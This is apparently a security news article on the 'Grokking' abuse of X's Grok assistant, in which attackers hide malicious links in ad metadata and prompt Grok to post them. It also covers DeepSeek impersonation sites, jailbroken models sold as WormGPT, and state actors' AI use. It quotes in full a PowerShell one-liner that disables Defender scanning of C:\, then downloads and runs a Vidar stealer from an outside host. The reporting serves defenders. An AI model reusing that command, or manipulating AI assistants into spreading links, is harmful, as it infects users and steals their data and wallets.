A new technique, dubbed “Grokking,” is being used by threat actors to bypass X’s link-posting restrictions, leveraging the platform’s integrated AI assistant to spread malicious links to a massive audience. This method embeds harmful URLs within the un-scanned metadata of video ads and then uses Grok to parse and publicly post these links, lending them an air of legitimacy1. The attack chain represents a direct exploitation of an AI feature integrated into a major social platform, highlighting a novel attack vector that combines social engineering with platform-specific vulnerabilities.
This incident is not isolated but part of a broader trend where AI technologies are being weaponized. The cybersecurity landscape is witnessing a surge in methods that include direct platform abuse, AI brand impersonation for malware delivery, the weaponization of jailbroken AI models, and sophisticated attacks targeting the AI supply chain itself234. While state-sponsored groups are actively experimenting with these tools, their successes have been limited, with major platforms reporting that AI provides only incremental capabilities for malicious tasks compared to existing non-AI tools56.
The Grokking Attack Methodology
The core of this attack exploits a gap in X’s security scanning procedures. Threat actors purchase video ad slots, often for adult-content lures. Within the ad’s configuration, they place a malicious URL in the “From:” metadata field, which is not subjected to the same security scans as the main ad content or user posts1. Once the ad is live and accruing impressions, the actors then interact with the X platform’s built-in Grok AI. They ask Grok questions designed to trigger a response that parses the ad’s metadata, such as “where is this video from?”.
Grok, functioning as designed, reads the “From:” field and generates a public response containing a clickable hyperlink derived from that metadata. Because this response comes from a verified, trusted system account (@Grok), the malicious link is granted immediate credibility. Researcher Nati Tal of Guardio Labs, who reported the issue, noted that this method has amplified some malicious ads to millions of impressions1. The links typically lead to scams, fake CAPTCHA pages used as a social engineering step, and ultimately to information-stealing malware like Vidar.
Parallels in AI Brand Impersonation and Malware
This tactic of using AI to add legitimacy to malicious campaigns is echoed in other recent threats. Following the launch of the DeepSeek AI model, threat actors registered over 40 look-alike domains to impersonate the brand3. These sites hosted fake “partner registration” pages that led to a fraudulent CAPTCHA check. The site used malicious JavaScript to perform clipboard injection, replacing a user’s clipboard content with a malicious PowerShell command.
The PowerShell command used in the DeepSeek campaign is a clear example of a technique aimed at establishing persistence and disabling defenses:
“`powershell
cmd /c “powershell Add-MpPreference -ExclusionPath ‘C:\’ && timeout 2 && powershell Invoke-WebRequest -Uri ‘http://book[.]rollingvideogames[.]com/temp/1.exe’ -OutFile ‘%TEMP%\1.exe’ && start %TEMP%\1.exe”
“`
This command first adds an exclusion path for the entire C:\ drive to Windows Defender, introduces a brief delay, then downloads and executes a packed sample of the Vidar information stealer from a remote server3. The malware was configured to harvest data from a wide array of cryptocurrency wallet extensions and browsers, searching for files with names containing keywords like `*wallet*`, `*seed*`, and `*private*`.
Weaponizing AI Models and State-Level Activity
Beyond direct platform abuse, cybercriminals are actively jailbreaking legitimate AI models to create tools specifically for malicious purposes. Models from xAI (Grok) and Mistral (Mixtral) have had their safety guardrails circumvented. These jailbroken models are then packaged and sold on cybercrime forums as “uncensored” alternatives, with names like “keanu-WormGPT,” and are capable of generating phishing emails, malicious code, and hacking tutorials4. This commoditization significantly lowers the barrier to entry for cybercrime.
State-affiliated threat actors are also exploring AI, though with varying degrees of success. OpenAI reported disrupting five state-affiliated groups from China, Iran, North Korea, and Russia that were using its platforms5. Their investigation concluded that models like GPT-4 provided only “limited, incremental capabilities” for malicious cyber tasks. Similarly, Google uncovered over 10 Iranian, 20 Chinese, and 9 North Korean state-sponsored groups attempting to use its Gemini AI for tasks like translating content, refining phishing attacks, and troubleshooting code6. Google’s report stated that while AI can be a useful tool, “it is not yet the game-changer it is sometimes portrayed to be,” as Gemini’s safeguards successfully thwarted direct attack attempts.
Mitigation and Strategic Response
The rise of these AI-focused threats necessitates a shift in security strategy. For the specific “Grokking” vulnerability, proposed technical mitigations include scanning all metadata fields in advertisements, implementing blocks on hidden links within these fields, and adding context sanitization to Grok’s response generation to prevent it from outputting unvetted URLs1.
On a broader level, security teams must adapt to this new landscape. This involves implementing robust application security that can handle dynamically generated content and novel attack vectors. Rigorous vetting of the software supply chain, including open-source dependencies and CI/CD pipelines, is critical as this area is becoming a primary target2. Furthermore, user education programs should be updated to include awareness of AI-specific threats, such as brand impersonation and synthetic media.
Monitoring efforts must evolve beyond static, string-based detection rules. Security operations need to focus on behavioral analysis to identify anomalies that might indicate AI-assisted attacks, such as unusual volumes of highly polished phishing content or suspicious interactions with platform APIs and AI features.
The exploitation of X’s Grok AI is a significant development that illustrates the creative ways threat actors are repurposing legitimate tools for malicious ends. It serves as a warning about the security implications of rapidly integrating powerful AI features into consumer platforms without fully considering the potential for abuse. While AI has not yet created a revolutionary shift in the capabilities of cybercriminals, it is accelerating existing threats and creating new attack surfaces that must be defended. A proactive and adaptive security posture, combining technical controls, continuous monitoring, and user awareness, is essential to mitigate the risks posed by the weaponization of artificial intelligence.
